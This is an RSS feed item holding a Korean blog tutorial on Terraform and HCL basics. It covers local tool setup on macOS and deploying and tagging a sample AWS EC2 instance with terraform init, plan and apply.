<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>IT 성장블로그</title>
    <link>https://imxsuu.tistory.com/</link>
    <description>DevOps Engineer</description>
    <language>ko</language>
    <pubDate>Sun, 6 Sep 2026 10:38:04 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>imxsuu</managingEditor>
    <image>
      <title>IT 성장블로그</title>
      <url>https://tistory1.daumcdn.net/tistory/6961143/attach/c92d523221f54b869d9985a1211deaf0</url>
      <link>https://imxsuu.tistory.com</link>
    </image>
    <item>
      <title>[AEWS] EKS IaC</title>
      <link>https://imxsuu.tistory.com/19</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;Terraform&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;소개&lt;/h3&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;테라폼(Terraform)은 인프라스트럭처를 코드로 정의하고 프로비저닝하며 관리하기 위한 오픈 소스 도구입니다. 주로 클라우드 인프라스트럭처를 자동화하는 데 사용되며, 코드 기반의 접근 방식을 통해 클라우드 리소스를 배포하고 구성할 수 있습니다. &lt;br /&gt;테라폼은 다양한 클라우드 플랫폼을 지원하며, AWS(Amazon Web Services), Microsoft Azure, Google Cloud Platform, IBM Cloud, 등 다양한 곳에서 사용할 수 있습니다. 특히 인프라스트럭처를 코드로 정의하면 버전 관리 시스템을 활용하여 인프라 변경 사항을 추적하고 관리할 수 있으며, 반복적이고 일관성이 요구되는 인프라 관리 작업을 간소화합니다.&lt;br /&gt;테라폼은 간단한 구조화된 문법을 사용하여 인프라 리소스를 정의하고, 이를 이용하여 필요한 클라우드 인프라 리소스를 생성, 수정, 삭제할 수 있습니다. 이러한 특징은 개발자나 운영 팀이 클라우드 인프라를 프로그래밍적으로 제어할 수 있게 해주어, 인프라 관리와 배포의 효율성을 향상시킵니다.&lt;br /&gt;&lt;i&gt;[출처 : ChatGPT]&lt;/i&gt;&lt;/blockquote&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;2048&quot; data-origin-height=&quot;644&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bLjcaD/btsGOdRiqSL/RplXVvDj6E2lZtVOF5LTjk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bLjcaD/btsGOdRiqSL/RplXVvDj6E2lZtVOF5LTjk/img.png&quot; data-alt=&quot;https://developer.hashicorp.com/terraform/intro&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bLjcaD/btsGOdRiqSL/RplXVvDj6E2lZtVOF5LTjk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbLjcaD%2FbtsGOdRiqSL%2FRplXVvDj6E2lZtVOF5LTjk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2048&quot; height=&quot;644&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;2048&quot; data-origin-height=&quot;644&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;https://developer.hashicorp.com/terraform/intro&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;2038&quot; data-origin-height=&quot;1773&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bzs7E8/btsGMB7bore/nLEQRZVyTkVRQOqGRK7nd0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bzs7E8/btsGMB7bore/nLEQRZVyTkVRQOqGRK7nd0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bzs7E8/btsGMB7bore/nLEQRZVyTkVRQOqGRK7nd0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbzs7E8%2FbtsGMB7bore%2FnLEQRZVyTkVRQOqGRK7nd0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2038&quot; height=&quot;1773&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;2038&quot; data-origin-height=&quot;1773&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;HCL&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;&lt;span data-token-index=&quot;0&quot;&gt;HCL&lt;/span&gt; &lt;span style=&quot;color: #d9730d;&quot; data-token-index=&quot;2&quot;&gt;H&lt;/span&gt;ashiCorp &lt;span style=&quot;color: #d9730d;&quot; data-token-index=&quot;4&quot;&gt;c&lt;/span&gt;onfiguration &lt;span style=&quot;color: #d9730d;&quot; data-token-index=&quot;6&quot;&gt;l&lt;/span&gt;anguage은 하시코프사에서 &lt;span data-token-index=&quot;8&quot;&gt;IaC와 구성 정보&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span data-token-index=&quot;8&quot;&gt;를 명시&lt;/span&gt;&lt;/b&gt;&lt;b&gt;하기 위해 개발된 &lt;span data-token-index=&quot;10&quot;&gt;오픈 소스 도구입니다.&lt;/span&gt;&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;IaC&lt;/b&gt;&lt;span style=&quot;font-family: -apple-system, BlinkMacSystemFont, 'Helvetica Neue', 'Apple SD Gothic Neo', Arial, sans-serif; letter-spacing: 0px;&quot;&gt;는 수동 프로세스가 아닌 &lt;/span&gt;&lt;b&gt;코드를 통해 인프라를 관리하고 프로비저닝&lt;/b&gt;&lt;span style=&quot;font-family: -apple-system, BlinkMacSystemFont, 'Helvetica Neue', 'Apple SD Gothic Neo', Arial, sans-serif; letter-spacing: 0px;&quot;&gt; 하는 것을 말합니다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;테라폼에서 HCL이 코드의 영역을 담당합니다. HCL은 쉽게 읽을 수 있고 빠르게 배울 수 있는 언어의 특징을 가집니다.&lt;/li&gt;
&lt;li&gt;인프라가 코드로 표현되고, 이 코드는 곧 인프라이기 때문에 &lt;b&gt;선언적&lt;/b&gt; 특성을 갖게 되고 튜링 완전한 Turing-complete &lt;b&gt;언어적&lt;/b&gt; 특성을 갖습니다.&lt;/li&gt;
&lt;li&gt;즉, 일반적인 프로그래밍 언어의 &lt;b&gt;조건문&lt;/b&gt; 처리 같은 동작이 가능합니다. 자동화와 더불어, 쉽게 &lt;b&gt;버저닝해 히스토리&lt;/b&gt;를 관리하고 &lt;b&gt;함께 작업&lt;/b&gt; 할 수 있는 기반을 제공합니다.&lt;/li&gt;
&lt;li&gt;HCL을 사용하면 동일한 내용을 JSON으로 표현하는 것보다 더 간결하고 읽기 쉽게 작성할 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 308px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;width: 50%; height: 20px;&quot;&gt;HCL을 이용한 테라폼 구성&lt;/td&gt;
&lt;td style=&quot;width: 50%; height: 20px;&quot;&gt;JSON을 이용한 CloudFormation 구성&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 288px;&quot;&gt;
&lt;td style=&quot;width: 50%; height: 288px;&quot;&gt;resource &quot;local_file&quot; &quot;abc&quot; { &lt;br /&gt;&amp;nbsp; content = &quot;abc!&quot; &lt;br /&gt;&amp;nbsp; filename = &quot;${path.module}/abc.txt&quot; &lt;br /&gt;}&lt;/td&gt;
&lt;td style=&quot;width: 50%; height: 288px;&quot;&gt;{ &lt;br /&gt;&amp;nbsp; &quot;resource&quot;: [ &lt;br /&gt;&amp;nbsp; { &lt;br /&gt;&amp;nbsp; &amp;nbsp; &quot;local_file&quot;: [ &lt;br /&gt;&amp;nbsp; &amp;nbsp; { &lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &quot;abc&quot;: [ &lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; { &lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &quot;content&quot;:&quot;abc!&quot;, &lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &quot;filenale&quot;:&quot;${path.module}/abc.txt&quot; &lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; } &lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;] &lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; } &lt;br /&gt;&amp;nbsp; &amp;nbsp; ] &lt;br /&gt;&amp;nbsp; &amp;nbsp;}&amp;nbsp; &lt;br /&gt;&amp;nbsp;] &lt;br /&gt;}&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;HCL 표현식&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1713844793523&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// 한줄 주석 방법1
# 한줄 주석 방법2

/*
라인
주석
*/

locals {
  key1     = &quot;value1&quot;     # = 를 기준으로 키와 값이 구분되며
  myStr    = &quot;TF ♡ UTF-8&quot; # UTF-8 문자를 지원한다.
  multiStr = &amp;lt;&amp;lt;EOF
  Multi
  Line
  String
  with anytext
EOF

  boolean1    = true   # boolean true
  boolean2    = false  # boolean false를 지원한다.
  deciaml     = 123    # 기본적으로 숫자는 10진수,
  octal       = 0123   # 0으로 시작하는 숫자는 8진수,
  hexadecimal = &quot;0xD5&quot; # 0x 값을 포함하는 스트링은 16진수,
  scientific  = 1e10   # 과학표기 법도 지원한다.

  # funtion 호출 예
  myprojectname = format(&quot;%s is myproject name&quot;, var.project)

  # 3항 연산자 조건문을 지원한다.
  credentials = var.credentials == &quot;&quot; ? file(var.credentials_file) : var.credentials
}&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;HCL 표현식에서는 코드에서 사용되는 주석 표기부터 변수 정의 등을 포함하고 &lt;b&gt;프로그래밍적인 연산&lt;/b&gt;과 구성 편의성을 높이기 위한 &lt;b&gt;function&lt;/b&gt; 제공 - &lt;a href=&quot;https://developer.hashicorp.com/terraform/language/functions&quot;&gt;링크&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;테라폼으로 인프라를 구성하기 위한 선언 &lt;b&gt;블록&lt;/b&gt;도 다수 존재 : terraform, resource, data, variable, local, output&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;Block&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;테라폼 버전&lt;/b&gt;이나 &lt;b&gt;프로바이더 버전&lt;/b&gt;과 같은 값들은 &lt;b&gt;자동&lt;/b&gt;으로 설정되지만, 함께 작업할 때는 버전을 &lt;b&gt;명시적으로 선언&lt;/b&gt;하고 필요한 &lt;b&gt;조건&lt;/b&gt;을 입력하여 &lt;b&gt;실행 오류를 최소화&lt;/b&gt; 할 것을 권장합니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;오늘 실행하던, 3년 후에 실행하던 동일한 결과를 얻을 수 있어야 합니다.&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1713844902066&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;terraform {
  required_version = &quot;~&amp;gt; 1.3.0&quot; # 테라폼 버전

  required_providers { # 프로바이더 버전을 나열
    random = {
      version = &quot;&amp;gt;= 3.0.0, &amp;lt; 3.1.0&quot;
    }
    aws = {
      version = &quot;4.2.0&quot;
    }
  }

  cloud { # Cloud/Enterprise 같은 원격 실행을 위한 정보
    organization = &quot;&amp;lt;MY_ORG_NAME&amp;gt;&quot;
    workspaces {
      name = &quot;my-first-workspace&quot;
    }
  }

  backend &quot;local&quot; { # state를 보관하는 위치를 지정
    path = &quot;relative/path/to/terraform.tfstate&quot;
  }
}&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;테라폼 내에서 버전이 명시되는 terraform, module에서 사용 가능하며 버전에 대한 제약을 둠으로써 테라폼, 프로바이더, 모듈이 항상 의도한 정의대로 실행되는 것을 목적으로 합니다.&lt;/li&gt;
&lt;li&gt;버전 체계는 시맨틱 버전 관리 Semantic Versioning 방식을 따릅니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1713844923999&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# version = Major.Minor.Patch
version = 1.3.4&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;시맨틱 버전 관리 방식
&lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;&lt;b&gt;Major&lt;/b&gt; 버전 : 내부 동작의 API가 변경 또는 삭제되거나 하위 호환이 되지 않는 버전&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Minor&lt;/b&gt; 버전 : 신규 기능이 추가되거나 개선되고 하위 호환이 가능한 버전&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Patch&lt;/b&gt; 버전 : 버그 및 일부 기능이 개선된 하위 호환이 가능한 버전&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;버전 제약 구문은 다른 프로그램 언어에서의 종속성 관리 시스템과 흡사합니다.
&lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;&lt;b&gt;= 또는 연산자 없음&lt;/b&gt; : 지정된 버전만을 허용하고 다른 조건과 병기할 수 없습니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;!=&lt;/b&gt; : 지정된 버전을 제외합니다.&lt;/li&gt;
&lt;li&gt;, &amp;gt;=, &amp;lt;, &amp;lt;= : 지정된 버전과 비교해 조건에 맞는 경우 허용합니다.
&lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;~&amp;gt; : 지정된 버전에서 가장 자리수가 낮은 구성요소만 증가하는 것을 허용합니다.
&lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;~&amp;gt; x.y 인 경우 y 버전에 대해서만, ~&amp;gt; x.y.z인 경우 z 버전에 대해서만 보다 큰 버전을 허용합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #000000;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;a style=&quot;background-color: #e6f5ff; color: #0070d1;&quot; href=&quot;https://github.com/tfutils/tfenv&quot;&gt;실습 환경 준비 (macOS)&lt;/a&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;로컬 PC에 관련 툴들을 설치합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;TFENV&lt;/h4&gt;
&lt;pre id=&quot;code_1713701286295&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# tfenv 설치
brew install tfenv

# 설치 가능 버전 리스트 확인
tfenv list-remote

# 테라폼 1.5.1 버전 설치
tfenv install 1.8.1

# 테라폼 1.5.1 버전 사용 설정 
tfenv use 1.8.1

# tfenv로 설치한 버전 확인
tfenv list

# 테라폼 버전 정보 확인
terraform version

# 자동완성
terraform -install-autocomplete
## 참고 .zshrc 에 아래 추가됨
cat ~/.zshrc
autoload -U +X bashcompinit &amp;amp;&amp;amp; bashcompinit
complete -o nospace -C /usr/local/bin/terraform terraform&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;AWSCLI&lt;/h4&gt;
&lt;pre id=&quot;code_1713701401691&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;brew install awscli

aws configure&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;EKSCTL&lt;/h4&gt;
&lt;pre id=&quot;code_1713701446548&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;brew install eksctl&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;KUBECTL&lt;/h4&gt;
&lt;pre id=&quot;code_1713701467444&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;brew install kubernetes-cli&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;HELM&lt;/h4&gt;
&lt;pre id=&quot;code_1713701478682&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;brew install helm&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;watch, jq, tree 설치&lt;/h4&gt;
&lt;pre id=&quot;code_1713701516086&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;brew install tree jq watch&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;Visual Studio Code(VS Code)&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span data-token-index=&quot;1&quot;&gt;자동저장 설정&lt;/span&gt; : Settings &amp;rarr; Commonly Used &amp;rArr; &lt;span data-token-index=&quot;3&quot;&gt;Files: Auto Save에서&lt;/span&gt;&amp;nbsp;&lt;span data-token-index=&quot;5&quot;&gt;afterDelay로&lt;/span&gt; 변경&lt;/li&gt;
&lt;li&gt;Extentions 설치
&lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;&lt;b&gt;HashiCorp HCL&lt;/b&gt; : syntax &lt;b&gt;highlighting&lt;/b&gt; for&amp;nbsp;&lt;b&gt;HCL&lt;/b&gt; files&lt;/li&gt;
&lt;li&gt;&lt;b&gt;HashiCorp Terraform&lt;/b&gt; : &lt;b&gt;Highlighting&lt;/b&gt; syntax from &lt;b&gt;Terraform&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;AWS 서울 리전(ap-northeast-2)에 default VPC 확인&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1713701709011&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;aws ec2 describe-vpcs --filter 'Name=isDefault,Values=true' | jq
{
...

aws ec2 describe-vpcs --filter 'Name=isDefault,Values=true' | jq '.Vpcs[0].VpcId'
&quot;vpc-3912a952&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;color: #333333;&quot; data-token-index=&quot;0&quot;&gt;Get Started AWS&lt;/span&gt;&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #333333;&quot; data-token-index=&quot;0&quot;&gt;기본 환경 준비&lt;/span&gt;&lt;/h4&gt;
&lt;pre id=&quot;code_1713701876670&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;mkdir learn-terraform
cd learn-terraform
touch main.tf&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;Amazon Linux 2 최신 ami id 찾기&lt;/h4&gt;
&lt;pre id=&quot;code_1713703423214&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#aws ec2 describe-images --owners self amazon
aws ec2 describe-images --owners self amazon --query 'Images[*].[ImageId]' --output text
aws ec2 describe-images --owners amazon --filters &quot;Name=name,Values=amzn2-ami-hvm-2.0.*-x86_64-gp2&quot; &quot;Name=state,Values=available&quot;
aws ec2 describe-images --owners amazon --filters &quot;Name=name,Values=amzn2-ami-hvm-2.0.*-x86_64-gp2&quot; &quot;Name=state,Values=available&quot; --query 'Images|sort_by(@, &amp;amp;CreationDate)[-1].[ImageId, Name]' --output text
ami-0217b147346e48e84	amzn2-ami-hvm-2.0.20240412.0-x86_64-gp2

aws ec2 describe-images --owners amazon --filters &quot;Name=name,Values=amzn2-ami-hvm-2.0.*-x86_64-gp2&quot; &quot;Name=state,Values=available&quot; --query 'Images|sort_by(@, &amp;amp;CreationDate)[-1].[ImageId]' --output text
ami-0217b147346e48e84

AL2ID=`aws ec2 describe-images --owners amazon --filters &quot;Name=name,Values=amzn2-ami-hvm-2.0.*-x86_64-gp2&quot; &quot;Name=state,Values=available&quot; --query 'Images|sort_by(@, &amp;amp;CreationDate)[-1].[ImageId]' --output text`
echo $AL2ID&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;EC2 생성 모니터링&lt;/h4&gt;
&lt;pre id=&quot;code_1713703440424&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# [터미널1] EC2 생성 모니터링
export AWS_PAGER=&quot;&quot;
while true; do aws ec2 describe-instances --query &quot;Reservations[*].Instances[*].{PublicIPAdd:PublicIpAddress,InstanceName:Tags[?Key=='Name']|[0].Value,Status:State.Name}&quot; --filters Name=instance-state-name,Values=running --output text ; echo &quot;------------------------------&quot; ; sleep 1; done&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;Terraform 코드 파일 작성 : &lt;span data-token-index=&quot;0&quot;&gt;HCL&lt;/span&gt; &lt;span style=&quot;color: #787774;&quot; data-token-index=&quot;2&quot;&gt;Hashicorp Configuration Language&lt;/span&gt; 코드 파일 생성, Block로 구성&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;provider&lt;/b&gt; : Terraform으로 정의할 Infrastructure Provider를 의미&lt;/li&gt;
&lt;li&gt;&lt;b&gt;resource&lt;/b&gt; : 실제로 생성할 인프라 자원을 의미&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;resource &amp;ldquo;&amp;lt;PROVIDER&amp;gt;_&amp;lt;TYPE&amp;gt;&amp;rdquo; &amp;ldquo;&amp;lt;NAME&amp;gt;&amp;rdquo; { &lt;br /&gt;&amp;nbsp; [CONFIG ...] &lt;br /&gt;} &lt;br /&gt;- PROVIDER : &amp;lsquo;aws&amp;rsquo; 같은 공급자의 이름 &lt;br /&gt;- TYPE : &amp;lsquo;security_group&amp;rsquo; 같은 리소스의 유형 &lt;br /&gt;- NAME : 리소스의 이름 &lt;br /&gt;- CONFIG : 한개 이상 arguments&lt;/blockquote&gt;
&lt;pre id=&quot;code_1713703539614&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;cat &amp;lt;&amp;lt;EOT &amp;gt; main.tf
provider &quot;aws&quot; {
  region = &quot;ap-northeast-2&quot;
}

resource &quot;aws_instance&quot; &quot;example&quot; {
  ami           = &quot;$AL2ID&quot;
  instance_type = &quot;t2.micro&quot;
}
EOT&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;배포 실행 : 터미널2에서 실행&lt;/h4&gt;
&lt;pre id=&quot;code_1713703718196&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 초기화
terraform init
ls -al
tree .terraform

# plan 확인
terraform plan

# apply 실행
terraform apply
 Enter a value: yes 입력

# ec2 생성 확인 : aws 웹 관리 콘솔에서도 확인 - 서울 리전 선택
export AWS_PAGER=&quot;&quot;
aws ec2 describe-instances --output table

# 테라폼 정보 확인
terraform state list
terraform show
terraform show aws_instance.example&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;220&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/nN96i/btsGQ1Q07wK/rH84yRIwkP6KWkM1qCrxT0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/nN96i/btsGQ1Q07wK/rH84yRIwkP6KWkM1qCrxT0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/nN96i/btsGQ1Q07wK/rH84yRIwkP6KWkM1qCrxT0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FnN96i%2FbtsGQ1Q07wK%2FrH84yRIwkP6KWkM1qCrxT0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1280&quot; height=&quot;220&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;220&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #333333;&quot; data-token-index=&quot;0&quot;&gt;EC2 태그 정보 수정&lt;/span&gt; : 코드 파일 수정&lt;/h4&gt;
&lt;pre id=&quot;code_1713703744227&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;cat &amp;lt;&amp;lt;EOT &amp;gt; main.tf
provider &quot;aws&quot; {
  region = &quot;ap-northeast-2&quot;
}

resource &quot;aws_instance&quot; &quot;example&quot; {
  ami           = &quot;$AL2ID&quot;
  instance_type = &quot;t2.micro&quot;

  tags = {
    Name = &quot;aews-study&quot;
  }

}
EOT&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;배포 실행&lt;/h4&gt;
